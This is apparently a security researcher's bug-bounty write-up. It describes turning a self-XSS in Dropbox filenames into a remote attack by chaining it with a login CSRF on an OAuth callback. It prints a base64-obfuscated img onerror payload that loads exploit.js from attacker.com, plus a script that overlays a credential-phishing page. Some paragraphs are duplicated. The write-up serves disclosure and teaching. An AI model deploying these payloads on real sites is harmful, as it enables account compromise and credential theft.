Greetings everyone this is Shawar Khan and today i am going to share one of my recent findings. Most of you have already heard about XSS attacks, basically it's an attacker where an attacker is able to execute javascript commands on a specific web application. There are some cases where an XSS vulnerability doesn't cause risk due to limited exploitation scenarios.
Recently, i've discovered some XSS vulnerabilities which were marked as Self-XSSes as they were not exploitable by a remote attacker, these were further exploited due to which the issue was accepted. I'm going to share how i was able to exploit those self XSS vulnerabilities using some techniques and chaining. Always demonstrate the attack to the company you are reporting, else it won't demonstrate the actual risk. An XSS vulnerability cause high impact if it's remotely exploitable so i will share some scenarios which i faced and will show you how i was able to make them exploitable.
Self XSS Exploitation via DropBox with OAuth Misconfiguration
So, the actual scenario was that the site was having a functionality/mechanism that allows a user to transfer files between Dropbox & the Company Account.
After logging in with Dropbox, the dropbox section shows all the files of Dropbox account. Obviously it shows the file names as well, what i did was i uploaded a file having the XSS payload as filename to Dropbox.
As the file name was reflecting in the dropbox section, this would execute the payload and the interesting thing is tags except img were properly filtered but failed to filter img. Blacklisting maybe?
Anyways, got the JS code executed when the file name was shown.
Code executed but nothing but a self XSS. In order to reproduce this issue the a user has to do the following steps:
- Upload file having payload to Dropbox
- Login with Dropbox account having the Payload
Now we can't ask a user to upload a file and do that stuff. The payload only executes when the account is logged in. What if we upload the file in our dropbox account and then make a user login?
Obviously, that would do the trick!
We can't do the login CSRF but we can somehow make the user login via Oauth. First a user is sent to dropbox to authorize the application, afterwards the user is redirected to the application with a auth token. If the user is having the auth token, the user will be logged in.
After clicking the Login button a request is sent to https://www.dropbox.com/oauth2/authorize?response_type=code&client_id={Client_ID}&redirect_uri=https://site.com/path/to/api/oauth
After allowing permissions to application, we are redirect to
https://site.com/path/to/api/oauth having an auth token and the following request is sent.
After allowing permissions to application, we are redirect to
https://site.com/path/to/api/oauth having an auth token and the following request is sent.
GET /path/to/api/oauth?code={TOKEN_HERE} HTTP/1.1
Host: site.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.dropbox.com
Cookie: _ga=[removed]; io=[removed]; session=[removed]; session.sig=[removed]
Connection: close
The request sent back to redirect URL was not having any kind of token for validating the request which made it vulnerable to CSRF, we can make a login using that URL. So due to the misconfiguration we are able to make someone log into our dropbox account and view our files. That's it!
By sending a URL like 'https://site.com/path/to/api/oauth?code={TOKEN_HERE}' to victim, we are able to make the victim log into our account and after login the user will be able to see our files and if our files contains the payload, it will be executed! So simply sending the URL having oauth url will trigger the XSS and that's how we made it exploitable!
and btw, who really cares about an "alert(1)"?
Demonstrated the impact by creating a phisher having the malicious credentials capturer. I used the following payload and used 'eval' and 'atob' with a base64 code to load an external '.js' file having a malicious code:
The payload loads an 'exploit.js' file which opens a trusted URL ( 'https://trusted-domain.com' ) and then replaces the page content with a phisher after 5 seconds:
and that's it, XSSed and got the creds:
Using the same technique i was able to XSS via 5 different services like Dropbox.
If you like this write-up, Share!
Demonstrated the impact by creating a phisher having the malicious credentials capturer. I used the following payload and used 'eval' and 'atob' with a base64 code to load an external '.js' file having a malicious code:
var payload1 = document.createElement('script');
payload1.setAttribute('src','https://attacker.com/exploit.js');
document.head.appendChild(payload1);'
Final Payload: "><img src=x onerror=eval(atob('dmFyIHBheWxvYWQxID0gZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CnBheWxvYWQxLnNldEF0dHJpYnV0ZSgnc3JjJywnaHR0cHM6Ly9hdHRhY2tlci5jb20vZXhwbG9pdC5qcycpOwpkb2N1bWVudC5oZWFkLmFwcGVuZENoaWxkKHBheWxvYWQxKTsn'))>.png
The payload loads an 'exploit.js' file which opens a trusted URL ( 'https://trusted-domain.com' ) and then replaces the page content with a phisher after 5 seconds:
sourcecode = "SOURCE CODE IN Base64";
exploitwindow = window.open('https://site.com/','','width=500,height=500');
setTimeout(function () {exploitwindow.document.write(atob(sourcecode));},5000);
and that's it, XSSed and got the creds:
Using the same technique i was able to XSS via 5 different services like Dropbox.
If you like this write-up, Share!